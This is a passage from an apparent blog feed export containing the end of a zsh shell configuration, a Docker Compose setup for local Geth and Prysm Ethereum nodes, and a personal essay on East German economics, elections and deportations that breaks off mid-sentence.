class=\"nb\">echo<\/span><span class=\"w\"> <\/span><span class=\"s2\">&quot;export SSH_AGENT_PID=<\/span><span class=\"nv\">$SSH_AGENT_PID<\/span><span class=\"s2\">&quot;<\/span><span class=\"w\"> <\/span>&gt;&gt;<span class=\"w\"> <\/span><span class=\"s2\">&quot;<\/span><span class=\"nv\">$_ssh_agent_env<\/span><span class=\"s2\">&quot;<\/span>\n<span class=\"w\">        <\/span>chmod<span class=\"w\"> <\/span><span class=\"m\">600<\/span><span class=\"w\"> <\/span><span class=\"s2\">&quot;<\/span><span class=\"nv\">$_ssh_agent_env<\/span><span class=\"s2\">&quot;<\/span>\n<span class=\"w\">        <\/span>ssh-add<span class=\"w\"> <\/span><span class=\"m\">2<\/span>&gt;\/dev\/null\n<span class=\"w\">    <\/span><span class=\"k\">fi<\/span>\n<span class=\"w\">    <\/span><span class=\"nb\">unset<\/span><span class=\"w\"> <\/span>_ssh_agent_env\n<span class=\"k\">fi<\/span>\n\n<span class=\"c1\"># ------------------------------------------------------------------------------<\/span>\n<span class=\"c1\"># asdf version manager<\/span>\n<span class=\"c1\"># ------------------------------------------------------------------------------<\/span>\n<span class=\"c1\"># Replaces nvm, sdkman, and language-specific version managers.<\/span>\n<span class=\"c1\"># Completions are registered in the Completion section above (before compinit).<\/span>\n<span class=\"c1\"># This block only sources the main asdf script to make the command available.<\/span>\n<span class=\"k\">if<\/span><span class=\"w\"> <\/span><span class=\"o\">[<\/span><span class=\"w\"> <\/span>-f<span class=\"w\"> <\/span><span class=\"s2\">&quot;<\/span><span class=\"nv\">$HOME<\/span><span class=\"s2\">\/.asdf\/asdf.sh&quot;<\/span><span class=\"w\"> <\/span><span class=\"o\">]<\/span><span class=\"p\">;<\/span><span class=\"w\"> <\/span><span class=\"k\">then<\/span>\n<span class=\"w\">    <\/span>.<span class=\"w\"> <\/span><span class=\"s2\">&quot;<\/span><span class=\"nv\">$HOME<\/span><span class=\"s2\">\/.asdf\/asdf.sh&quot;<\/span>\n<span class=\"k\">elif<\/span><span class=\"w\"> <\/span><span class=\"o\">[<\/span><span class=\"w\"> <\/span>-d<span class=\"w\"> <\/span><span class=\"s2\">&quot;\/opt\/homebrew\/opt\/asdf&quot;<\/span><span class=\"w\"> <\/span><span class=\"o\">]<\/span><span class=\"p\">;<\/span><span class=\"w\"> <\/span><span class=\"k\">then<\/span>\n<span class=\"w\">    <\/span>.<span class=\"w\"> <\/span>\/opt\/homebrew\/opt\/asdf\/libexec\/asdf.sh\n<span class=\"k\">fi<\/span>\n\n<span class=\"c1\"># ------------------------------------------------------------------------------<\/span>\n<span class=\"c1\"># PATH<\/span>\n<span class=\"c1\"># ------------------------------------------------------------------------------<\/span>\n<span class=\"c1\"># Only adds directories that actually exist. Prepends to PATH so these take<\/span>\n<span class=\"c1\"># priority over system versions. Add machine-specific paths in ~\/.zshlocal.<\/span>\n_add_to_path<span class=\"o\">()<\/span><span class=\"w\"> <\/span><span class=\"o\">{<\/span><span class=\"w\"> <\/span><span class=\"o\">[<\/span><span class=\"w\"> <\/span>-d<span class=\"w\"> <\/span><span class=\"s2\">&quot;<\/span><span class=\"nv\">$1<\/span><span class=\"s2\">&quot;<\/span><span class=\"w\"> <\/span><span class=\"o\">]<\/span><span class=\"w\"> <\/span><span class=\"o\">&amp;&amp;<\/span><span class=\"w\"> <\/span><span class=\"nv\">PATH<\/span><span class=\"o\">=<\/span><span class=\"s2\">&quot;<\/span><span class=\"nv\">$1<\/span><span class=\"s2\">:<\/span><span class=\"nv\">$PATH<\/span><span class=\"s2\">&quot;<\/span><span class=\"w\"> <\/span><span class=\"o\">}<\/span>\n\n_add_to_path<span class=\"w\"> <\/span><span class=\"s2\">&quot;<\/span><span class=\"nv\">$HOME<\/span><span class=\"s2\">\/.local\/bin&quot;<\/span>\n\n<span class=\"nb\">export<\/span><span class=\"w\"> <\/span>PATH\n\nunfunction<span class=\"w\"> <\/span>_add_to_path\n\n\n<span class=\"c1\"># \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510<\/span>\n<span class=\"c1\"># \u2502 OPTIONAL PLUGINS                                                           \u2502<\/span>\n<span class=\"c1\"># \u2502 Loaded if installed, silently skipped if not. Order matters:               \u2502<\/span>\n<span class=\"c1\"># \u2502 autosuggestions first, syntax highlighting MUST be last.                   \u2502<\/span>\n<span class=\"c1\"># \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518<\/span>\n\n_source_if_exists<span class=\"o\">()<\/span><span class=\"w\"> <\/span><span class=\"o\">{<\/span><span class=\"w\"> <\/span><span class=\"o\">[<\/span><span class=\"w\"> <\/span>-f<span class=\"w\"> <\/span><span class=\"s2\">&quot;<\/span><span class=\"nv\">$1<\/span><span class=\"s2\">&quot;<\/span><span class=\"w\"> <\/span><span class=\"o\">]<\/span><span class=\"w\"> <\/span><span class=\"o\">&amp;&amp;<\/span><span class=\"w\"> <\/span><span class=\"nb\">source<\/span><span class=\"w\"> <\/span><span class=\"s2\">&quot;<\/span><span class=\"nv\">$1<\/span><span class=\"s2\">&quot;<\/span><span class=\"w\"> <\/span><span class=\"o\">}<\/span>\n\n_source_if_exists<span class=\"w\"> <\/span>\/usr\/share\/zsh-autosuggestions\/zsh-autosuggestions.zsh\n_source_if_exists<span class=\"w\"> <\/span>\/opt\/homebrew\/share\/zsh-autosuggestions\/zsh-autosuggestions.zsh\n\n<span class=\"c1\"># Syntax highlighting MUST be the last plugin sourced \u2014 it wraps zle widgets<\/span>\n<span class=\"c1\"># and will miss anything registered after it.<\/span>\n_source_if_exists<span class=\"w\"> <\/span>\/usr\/share\/zsh-syntax-highlighting\/zsh-syntax-highlighting.zsh\n_source_if_exists<span class=\"w\"> <\/span>\/opt\/homebrew\/share\/zsh-syntax-highlighting\/zsh-syntax-highlighting.zsh\n\nunfunction<span class=\"w\"> <\/span>_source_if_exists\n\n\n<span class=\"c1\"># \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510<\/span>\n<span class=\"c1\"># \u2502 LOCAL OVERRIDES                                                            \u2502<\/span>\n<span class=\"c1\"># \u2502 Machine-specific config that should NOT be synced across hosts.            \u2502<\/span>\n<span class=\"c1\"># \u2502 Examples: NVM, JAVA_HOME, Android SDK, pnpm, SDKMAN, company VPN certs.    \u2502<\/span>\n<span class=\"c1\"># \u2502 This MUST be the last thing sourced so it can override anything above.     \u2502<\/span>\n<span class=\"c1\"># \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518<\/span>\n\n<span class=\"o\">[<\/span><span class=\"w\"> <\/span>-f<span class=\"w\"> <\/span>~\/.zshlocal<span class=\"w\"> <\/span><span class=\"o\">]<\/span><span class=\"w\"> <\/span><span class=\"o\">&amp;&amp;<\/span><span class=\"w\"> <\/span><span class=\"nb\">source<\/span><span class=\"w\"> <\/span>~\/.zshlocal\n<\/code><\/pre><\/div>","category":{"@attributes":{"term":"Software"}}},{"title":"Geth and Prysm in Docker Compose","link":{"@attributes":{"href":"https:\/\/spoons.fyi\/2024\/10\/06\/geth-and-prysm-in-docker-compose.html","rel":"alternate"}},"published":"2024-10-06T00:00:00+02:00","updated":"2024-10-06T00:00:00+02:00","author":{"name":{}},"id":"tag:spoons.fyi,2024-10-06:\/2024\/10\/06\/geth-and-prysm-in-docker-compose.html","summary":"<p>I'm getting back into hacking on Ethereum nodes. Some of my tests are RPC-heavy, so a local setup is required. This will also speed up development since requests remain in my local network. However, I haven't found an easy Docker Compose setup for running Geth and Prysm together.<\/p>\n<div class=\"highlight\"><pre><span><\/span><code><span class=\"nt\">version<\/span><span class=\"p\">:<\/span><span class=\"w\"> <\/span><span class=\"s\">&quot;3 \u2026<\/span><\/code><\/pre><\/div>","content":"<p>I'm getting back into hacking on Ethereum nodes. Some of my tests are RPC-heavy, so a local setup is required. This will also speed up development since requests remain in my local network. However, I haven't found an easy Docker Compose setup for running Geth and Prysm together.<\/p>\n<div class=\"highlight\"><pre><span><\/span><code><span class=\"nt\">version<\/span><span class=\"p\">:<\/span><span class=\"w\"> <\/span><span class=\"s\">&quot;3.8&quot;<\/span>\n\n<span class=\"nt\">services<\/span><span class=\"p\">:<\/span>\n<span class=\"w\">  <\/span><span class=\"nt\">geth<\/span><span class=\"p\">:<\/span>\n<span class=\"w\">    <\/span><span class=\"nt\">image<\/span><span class=\"p\">:<\/span><span class=\"w\"> <\/span><span class=\"l l-Scalar l-Scalar-Plain\">ethereum\/client-go:stable<\/span>\n<span class=\"w\">    <\/span><span class=\"nt\">container_name<\/span><span class=\"p\">:<\/span><span class=\"w\"> <\/span><span class=\"l l-Scalar l-Scalar-Plain\">geth<\/span>\n<span class=\"w\">    <\/span><span class=\"nt\">restart<\/span><span class=\"p\">:<\/span><span class=\"w\"> <\/span><span class=\"l l-Scalar l-Scalar-Plain\">unless-stopped<\/span>\n<span class=\"w\">    <\/span><span class=\"nt\">ports<\/span><span class=\"p\">:<\/span>\n<span class=\"w\">      <\/span><span class=\"p p-Indicator\">-<\/span><span class=\"w\"> <\/span><span class=\"l l-Scalar l-Scalar-Plain\">30303:30303<\/span>\n<span class=\"w\">      <\/span><span class=\"p p-Indicator\">-<\/span><span class=\"w\"> <\/span><span class=\"l l-Scalar l-Scalar-Plain\">30303:30303\/udp<\/span>\n<span class=\"w\">      <\/span><span class=\"p p-Indicator\">-<\/span><span class=\"w\"> <\/span><span class=\"l l-Scalar l-Scalar-Plain\">8545:8545<\/span>\n<span class=\"w\">      <\/span><span class=\"p p-Indicator\">-<\/span><span class=\"w\"> <\/span><span class=\"l l-Scalar l-Scalar-Plain\">8546:8546<\/span>\n<span class=\"w\">      <\/span><span class=\"p p-Indicator\">-<\/span><span class=\"w\"> <\/span><span class=\"l l-Scalar l-Scalar-Plain\">8551:8551<\/span>\n<span class=\"w\">    <\/span><span class=\"nt\">volumes<\/span><span class=\"p\">:<\/span>\n<span class=\"w\">      <\/span><span class=\"p p-Indicator\">-<\/span><span class=\"w\"> <\/span><span class=\"l l-Scalar l-Scalar-Plain\">\/ethereum\/execution:\/root<\/span>\n<span class=\"w\">    <\/span><span class=\"nt\">command<\/span><span class=\"p\">:<\/span>\n<span class=\"w\">      <\/span><span class=\"p p-Indicator\">-<\/span><span class=\"w\"> <\/span><span class=\"l l-Scalar l-Scalar-Plain\">--http<\/span>\n<span class=\"w\">      <\/span><span class=\"p p-Indicator\">-<\/span><span class=\"w\"> <\/span><span class=\"l l-Scalar l-Scalar-Plain\">--http.api=eth,net,web3<\/span>\n<span class=\"w\">      <\/span><span class=\"p p-Indicator\">-<\/span><span class=\"w\"> <\/span><span class=\"l l-Scalar l-Scalar-Plain\">--http.addr=0.0.0.0<\/span>\n<span class=\"w\">      <\/span><span class=\"p p-Indicator\">-<\/span><span class=\"w\"> <\/span><span class=\"l l-Scalar l-Scalar-Plain\">--authrpc.addr=0.0.0.0<\/span>\n<span class=\"w\">      <\/span><span class=\"p p-Indicator\">-<\/span><span class=\"w\"> <\/span><span class=\"l l-Scalar l-Scalar-Plain\">--authrpc.vhosts=*<\/span>\n<span class=\"w\">      <\/span><span class=\"p p-Indicator\">-<\/span><span class=\"w\"> <\/span><span class=\"l l-Scalar l-Scalar-Plain\">--authrpc.jwtsecret=\/root\/jwt.hex<\/span>\n<span class=\"w\">      <\/span><span class=\"p p-Indicator\">-<\/span><span class=\"w\"> <\/span><span class=\"l l-Scalar l-Scalar-Plain\">--authrpc.port=8551<\/span>\n\n<span class=\"w\">  <\/span><span class=\"nt\">prysm<\/span><span class=\"p\">:<\/span>\n<span class=\"w\">    <\/span><span class=\"nt\">image<\/span><span class=\"p\">:<\/span><span class=\"w\"> <\/span><span class=\"l l-Scalar l-Scalar-Plain\">gcr.io\/prysmaticlabs\/prysm\/beacon-chain<\/span>\n<span class=\"w\">    <\/span><span class=\"nt\">container_name<\/span><span class=\"p\">:<\/span><span class=\"w\"> <\/span><span class=\"l l-Scalar l-Scalar-Plain\">prysm<\/span>\n<span class=\"w\">    <\/span><span class=\"nt\">restart<\/span><span class=\"p\">:<\/span><span class=\"w\"> <\/span><span class=\"l l-Scalar l-Scalar-Plain\">unless-stopped<\/span>\n<span class=\"w\">    <\/span><span class=\"nt\">volumes<\/span><span class=\"p\">:<\/span>\n<span class=\"w\">      <\/span><span class=\"p p-Indicator\">-<\/span><span class=\"w\"> <\/span><span class=\"l l-Scalar l-Scalar-Plain\">\/ethereum\/consensus:\/data<\/span>\n<span class=\"w\">    <\/span><span class=\"nt\">depends_on<\/span><span class=\"p\">:<\/span>\n<span class=\"w\">      <\/span><span class=\"p p-Indicator\">-<\/span><span class=\"w\"> <\/span><span class=\"l l-Scalar l-Scalar-Plain\">geth<\/span>\n<span class=\"w\">    <\/span><span class=\"nt\">ports<\/span><span class=\"p\">:<\/span>\n<span class=\"w\">      <\/span><span class=\"p p-Indicator\">-<\/span><span class=\"w\"> <\/span><span class=\"l l-Scalar l-Scalar-Plain\">4000:4000<\/span>\n<span class=\"w\">      <\/span><span class=\"p p-Indicator\">-<\/span><span class=\"w\"> <\/span><span class=\"l l-Scalar l-Scalar-Plain\">3500:3500<\/span>\n<span class=\"w\">    <\/span><span class=\"nt\">command<\/span><span class=\"p\">:<\/span>\n<span class=\"w\">      <\/span><span class=\"p p-Indicator\">-<\/span><span class=\"w\"> <\/span><span class=\"l l-Scalar l-Scalar-Plain\">--accept-terms-of-use<\/span>\n<span class=\"w\">      <\/span><span class=\"p p-Indicator\">-<\/span><span class=\"w\"> <\/span><span class=\"l l-Scalar l-Scalar-Plain\">--datadir=\/data<\/span>\n<span class=\"w\">      <\/span><span class=\"p p-Indicator\">-<\/span><span class=\"w\"> <\/span><span class=\"l l-Scalar l-Scalar-Plain\">--disable-monitoring<\/span>\n<span class=\"w\">      <\/span><span class=\"p p-Indicator\">-<\/span><span class=\"w\"> <\/span><span class=\"l l-Scalar l-Scalar-Plain\">--rpc-host=0.0.0.0<\/span>\n<span class=\"w\">      <\/span><span class=\"p p-Indicator\">-<\/span><span class=\"w\"> <\/span><span class=\"l l-Scalar l-Scalar-Plain\">--execution-endpoint=http:\/\/99.97.0.1:8551<\/span>\n<span class=\"w\">      <\/span><span class=\"p p-Indicator\">-<\/span><span class=\"w\"> <\/span><span class=\"l l-Scalar l-Scalar-Plain\">--jwt-secret=\/data\/jwt.hex<\/span>\n<span class=\"w\">      <\/span><span class=\"p p-Indicator\">-<\/span><span class=\"w\"> <\/span><span class=\"l l-Scalar l-Scalar-Plain\">--rpc-host=0.0.0.0<\/span>\n<span class=\"w\">      <\/span><span class=\"p p-Indicator\">-<\/span><span class=\"w\"> <\/span><span class=\"l l-Scalar l-Scalar-Plain\">--rpc-port=4000<\/span>\n<span class=\"w\">      <\/span><span class=\"p p-Indicator\">-<\/span><span class=\"w\"> <\/span><span class=\"l l-Scalar l-Scalar-Plain\">--grpc-gateway-corsdomain=*<\/span>\n<span class=\"w\">      <\/span><span class=\"p p-Indicator\">-<\/span><span class=\"w\"> <\/span><span class=\"l l-Scalar l-Scalar-Plain\">--grpc-gateway-host=0.0.0.0<\/span>\n<span class=\"w\">      <\/span><span class=\"p p-Indicator\">-<\/span><span class=\"w\"> <\/span><span class=\"l l-Scalar l-Scalar-Plain\">--grpc-gateway-port=3500<\/span>\n<span class=\"w\">      <\/span><span class=\"p p-Indicator\">-<\/span><span class=\"w\"> <\/span><span class=\"l l-Scalar l-Scalar-Plain\">--min-sync-peers=7<\/span>\n<span class=\"w\">      <\/span><span class=\"p p-Indicator\">-<\/span><span class=\"w\"> <\/span><span class=\"l l-Scalar l-Scalar-Plain\">--checkpoint-sync-url=https:\/\/mainnet.checkpoint.sigp.io<\/span>\n<span class=\"w\">      <\/span><span class=\"p p-Indicator\">-<\/span><span class=\"w\"> <\/span><span class=\"l l-Scalar l-Scalar-Plain\">--genesis-beacon-api-url=https:\/\/mainnet.checkpoint.sigp.io<\/span>\n\n<span class=\"nt\">networks<\/span><span class=\"p\">:<\/span>\n<span class=\"w\">  <\/span><span class=\"nt\">default<\/span><span class=\"p\">:<\/span>\n<span class=\"w\">    <\/span><span class=\"nt\">ipam<\/span><span class=\"p\">:<\/span>\n<span class=\"w\">      <\/span><span class=\"nt\">driver<\/span><span class=\"p\">:<\/span><span class=\"w\"> <\/span><span class=\"l l-Scalar l-Scalar-Plain\">default<\/span>\n<span class=\"w\">      <\/span><span class=\"nt\">config<\/span><span class=\"p\">:<\/span>\n<span class=\"w\">        <\/span><span class=\"p p-Indicator\">-<\/span><span class=\"w\"> <\/span><span class=\"nt\">subnet<\/span><span class=\"p\">:<\/span><span class=\"w\"> <\/span><span class=\"l l-Scalar l-Scalar-Plain\">99.97.0.0\/16<\/span>\n<\/code><\/pre><\/div>\n\n<p>The network configuration is required to set Prysm's execution endpoint to the Geth instance. The setup assumes two root paths are set on the server with approprivate permissions: <code>\/ethereum\/consensus<\/code> and <code>\/ethereum\/execution<\/code>. The JWT has been generated with openssl in the execution directory:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code>openssl rand -hex 32 | tr -d &quot;\\n&quot; &gt; \/ethereum\/execution\/jwt.hex\n<\/code><\/pre><\/div>\n\n<p>Once set up, the Compose file can be pasted into Portainer for easy deployment. Have fun!<\/p>","category":{"@attributes":{"term":"Software"}}},{"title":"Migration and Business in Germany","link":{"@attributes":{"href":"https:\/\/spoons.fyi\/2024\/09\/14\/migration-and-business-in-germany.html","rel":"alternate"}},"published":"2024-09-14T00:00:00+02:00","updated":"2024-09-14T00:00:00+02:00","author":{"name":{}},"id":"tag:spoons.fyi,2024-09-14:\/2024\/09\/14\/migration-and-business-in-germany.html","summary":"<p>In recent weeks, Germany has been on the international news. In the state elections in Thuringia and Saxony (where I live), the extreme right-wing AfD and left-wing BSW have gotten huge voter support. Their focus on immigration, border security, and crime, as well as skilled harping on East-West differences in \u2026<\/p>","content":"<p>In recent weeks, Germany has been on the international news. In the state elections in Thuringia and Saxony (where I live), the extreme right-wing AfD and left-wing BSW have gotten huge voter support. Their focus on immigration, border security, and crime, as well as skilled harping on East-West differences in Germany, seems to have had a significant impact.<\/p>\n<h2>Background<\/h2>\n<p>Describing East Germany is tough. I grew up here, in Saxony-Anhalt, in a city close to where the border used to be, and countless people lost their lives trying to escape the socialist GDR regime. I was born in 1994, five years after the wall came down. Giant bald strips cut into the dense forest, abandoned surveillance buildings and watchtowers, and mined patches with warning signs are still vivid memories of my childhood.<\/p>\n<div class=\"pswp-gallery single-image\" data-gallery-id=\"gallery-0\">\n    <a href=\"\/blog\/migration-and-business-in-germany\/saxony-anhalt-border.png\" data-pswp-width=\"900\" data-pswp-height=\"443\" target=\"_blank\">\n        <img src=\"\/blog\/migration-and-business-in-germany\/saxony-anhalt-border_thumb.jpg\" alt=\"The &quot;green band&quot; former east-west border in Saxony Anhalt\" class=\"\" \/>\n    <\/a>\n<\/div>\n<p>People here are crafty, support each other, and often crave stability. In the GDR, work used to be organized around the workplace - factory-owned sports teams, factory-owned houses in nice spots to vacation at, etc. After the reunification, most of these factories and associated real estate were sold to West German corporations for a fraction of their value. Most locations were promptly closed to remove market competition. When the Treuhand closed in 1994, its tab racked up more than <a href=\"https:\/\/www.mdr.de\/geschichte\/ddr\/deutsche-einheit\/treuhand\/betriebe-verkauf-volkseigentum-100.html\">3 million destroyed jobs and a debt mountain of 264 billion D-Mark<\/a>. Accounting for exchange rate and inflation adjustment, that's \u20ac234.5B. This, which can only be described as the sale of East Germany, left many communities in economic shock that lasts to this day.<\/p>\n<p>As a result of economic hardship, \"the West\" always looked more attractive: International communities, a higher median salary, more career prospects, all the classics. Whoever had a higher degree or was skilled at a trade would have better chances. This brain drain continued long after the reunification. In 2013, when I moved away from home to study in Dresden, my parents told me not to move back home after my degree. They said something like <em>\"Only the old and the stupid remain here\"<\/em>.<\/p>\n<p>I was not the only one. Impressive statistics are showing east-west migration inside Germany. One that particularly stuck with me is the <a href=\"https:\/\/www.bib.bund.de\/Publikation\/2012\/pdf\/Jung-weiblich-geht-Abwanderung-und-Geschlechterungleichgewichte-in-ostdeutschen-Landkreisen.pdf\">migration statistics by gender<\/a>.<\/p>\n<div class=\"pswp-gallery single-image\" data-gallery-id=\"gallery-1\">\n    <a href=\"\/blog\/migration-and-business-in-germany\/east-west-migration.png\" data-pswp-width=\"725\" data-pswp-height=\"613\" target=\"_blank\">\n        <img src=\"\/blog\/migration-and-business-in-germany\/east-west-migration.png\" alt=\"East-West Migration Statistic by Gender (2009)\" class=\"\" \/>\n    <\/a>\n<\/div>\n<p>While these numbers have <a href=\"https:\/\/www.iwkoeln.de\/studien\/wido-geis-thoene-anja-katrin-orth-weniger-frauen-gehen-maennerueberschuss-bleibt-bestehen-302444.html\">slightly decreased in the last years<\/a>, the overpopulation in men remains. Some sociologists hypothesize that there is a correlation between a higher population of men and the emergence of extreme political ideas. That's theory, however, and I'm neither a sociologist nor do I have time for a research tangent right now.<\/p>\n<p>I am trying to paint a picture for you, dear reader, of what might trouble people in East Germany. It's not hard to empathize with someone who feels \"left behind\" because their salary hasn't grown in the last ten years, but everything is twice as expensive. Then the pub next door closes because there is not enough business. Then the supermarket next door closes so you must drive 15 minutes to get to the other one. Then, the neighborhood you grew up in gets bulldozed because there is no demand for living space. But at the same time, rents are increasing. Your landlord? Never met them. They sit somewhere in Bavaria.<\/p>\n<p>Not all is doom and gloom, however. Because of the <a href=\"https:\/\/www.bpb.de\/themen\/deutschlandarchiv\/259587\/fruehe-fremdbetreuung-in-der-ddr\/\">GDR cultural heritage where both parents had to work<\/a> to make a living, it's <a href=\"https:\/\/www.bertelsmann-stiftung.de\/fileadmin\/files\/Projekte\/Fruehkindliche_Bildung\/Grafik_Betreuungswunsch_der_Eltern_fuer_unter_dreijaehrige_Kinder_noch_nicht_gedeckt_20231128.jpg\">way easier to get a Kindergarten spot and daycare<\/a>. As recently measured as 2024, the <a href=\"https:\/\/www.bundestag.de\/presse\/hib\/kurzmeldungen-1001370\">gender pay gap is significantly lower<\/a> and has been for many decades. There is also a lower cost of living. However, weighing that against the lower local salaries and significantly fewer people owning financial assets such as real estate or stocks, I wouldn't call that an advantage.<\/p>\n<h2>Politics<\/h2>\n<p>Your guess is as good as mine. Experts and pseudo-experts have different hypotheses as to why the recent elections have taken such a hard turn towards extremist parties. There are significantly fewer immigrants present in East Germany, and migrant crime statistics compared with local German ones are hardly significant. It could be mass media pushing individual cases into the spotlight for rage bait to maximize clicks and money, a targeted campaign by radical nationalist parties to capture votes, me trusting government statistics too much or misinterpreting them, or a mix of all.<\/p>\n<p>Personally, as someone who has studied in Dresden, worked with Afghan and Syrian refugees, and now lives in Leipzig, I feel like the respect for facts and the democratic system is on the decline. When two opposing political sides discuss, things quickly become irrational. There is no comparison of policies, attacking the other person's ideas for lacking nuance, and consequentially having to listen to what they say. There is populism, catchy slogans without much substance, and lots of feel-good rhetoric. They are strong, but we are stronger. They want to manipulate us, but we are enlightened. We have been neglected for so many years, and now is the time for us to rise and get justice.<\/p>\n<p>I am convinced the majority of people in East Germany, the \"new states,\" have been systematically disadvantaged. Don't believe me? Go to the Federal Office of Statistics website and pick out any map. There is a good chance you'll see the border between East and West Germany clearly cut into it. Or for instant gratification, <a href=\"https:\/\/interaktiv.morgenpost.de\/deutschland-teilen-deutsche-einheit-wiedervereinigung\/\">the Berliner MoPo prepared something for you<\/a>. It's an impressive and yet incredibly defeating exercise.<\/p>\n<h2>Business<\/h2>\n<p>With the above maps in mind, I founded a business in Leipzig. It's just me, no other employees. The taxes in Germany are high, the bureaucracy is an absolute beast that can hardly be tamed by anyone who doesn't have a team of at least five people behind them. There are few other technology companies in the region, so meeting fellow founders is hard, and the federal and state governments give you very little incentive to exist. You're on your own with your financial planning, risks, and the burden of the government's complex interfaces. The one thing you can get quickly is advice. But it's only basic advice, and it's always the same. No money, no concrete help.<\/p>\n<p>Part of me thinks that I'm an absolute idiot. Taxes, reporting obligations, and following arbitrary bureaucratic processes are eating up a large chunk of my time - now, with the additional pressure I have to earn my salary. In this matter, wasted time should be kept to a minimum. The other part of me thinks it's the right thing to do. I live here. I use the healthcare system, visit the parks, enjoy public transportation, and appreciate cultural events sponsored by the local government. My alma mater is TU Dresden, a top public university in the state. And one that I have fond memories of.<\/p>\n<p>Coming from a humble working-class family, jumping into my current social class has been all but easy, but without the essential services of the federal and local governments, it would have been absolutely impossible. None of this would exist without the massive infrastructure around me and the people who get paid to run it. It is an amazing thought that fills me with immense gratitude every time.<\/p>\n<p>At the end of the day, where people bring their business and what ideals they live by is their choice. I would not call anyone ungrateful who does not go the route I did.<\/p>\n<h2>The Point<\/h2>\n<p>All of the above is not specific to Saxony. A new wave of anti-foreigner bullshit is gripping Germany. Now that the people have made it clear to politicians that they want more deportations, it is more deportations they will receive. When a quota must be met, it won't be the criminal minority of immigrants that will get deported. Their origin states won't be eager to have them back; they will lose their passports and use every trick in the book to outplay the overly bureaucratic processes.<\/p>\n<p>Consequently, it will be the \"other foreigners,\" the majority of immigrants to Germany. They are the people who are registered, who always submit all of their documents on time, and who can easily be found and deported to make \"number go up.\" Here are some examples from West German states where no extremist political party governs.<\/p>\n<div class=\"pswp-gallery single-image\" data-gallery-id=\"gallery-2\">\n    <a href=\"\/blog\/migration-and-business-in-germany\/abschiebung.jpeg\" data-pswp-width=\"1170\" data-pswp-height=\"1809\" target=\"_blank\">\n        <img src=\"\/blog\/migration-and-business-in-germany\/abschiebung.jpeg\" alt=\"Image\" class=\"\" \/>\n    <\/a>\n<\/div>\n<ul>\n<li><a href=\"https:\/\/www.stuttgarter-zeitung.de\/inhalt.unerbittliche-stuttgarter-auslaenderbehoerde-stadt-droht-kirchenmusikerin-mit-abschiebung.1718bf69-108a-4e03-8129-02546eef9c9a.html\">Stuttgart wants to deport a Japanese church musician<\/a><\/li>\n<li>In the black forest, <a href=\"https:\/\/www.stuttgarter-zeitung.de\/inhalt.betrieb-im-schwarzwald-maler-fuerchtet-abschiebung-seines-einzigen-mitarbeiters.dc8d657d-603b-4f03-94d5-6d41e37e4ed3.html\">a painter will lose his working and well-integrated Syrian colleague, his only employee<\/a><\/li>\n<li>In Bavaria, an <a href=\"https:\/\/www.augsburger-allgemeine.de\/schwabmuenchen\/aegypter-befuerchtet-abschiebung-kampf-eines-arbeitgebers-um-seinen-mitarbeiter-102999692\">Egyptian worker will be deported despite having worked in Germany for 4 years<\/a>, never having taken government aid, and still having succeeded even though the government forbid him from doing an apprenticeship.<\/li>\n<li>The city of Leverkusen is trying to <a href=\"https:\/\/www.ksta.de\/region\/leverkusen\/stadt-leverkusen\/leverkusen-drohende-abschiebung-stadt-gewaehrt-dachdeckerazubi-nur-sieben-tage-frist-1-859660\">deport a roofer apprentice despite him having a job<\/a>, their own income, and integrating well with German society<\/li>\n<\/ul>\n<p>It is not hard to imagine that, should this political trajectory continue, the brain drain on East Germany will advance even further. Radical opinions will become stronger. It will become more challenging for foreigners to study at public universities and get government support. Once foreigners graduate, it will become significantly more complex than it already is to establish themselves in Germany as a productive and well-integrated member of society. The foreign workforce will decrease more than it already does. Besides economic decline, this might end the welfare state when the tax burden becomes impossible for the working generations.<\/p>\n<h2>Preparing<\/h2>\n<p>I am <em>incredibly<\/em> worried for Germany's economy. Political parties on the extreme ends will rile up the population, find easy truths and ready scapegoats, and not only lead people into a worse future but make them feel great while they walk into it.<\/p>\n<p>There are few things I can be sure of in these times. I cannot change the minds of people who have accumulated more years of resentment than I have been alive for. I can, however, prepare myself for possible consequences. My wife is not German, and in the future, it's conceivable that she will not be allowed to live here anymore. I will go where she 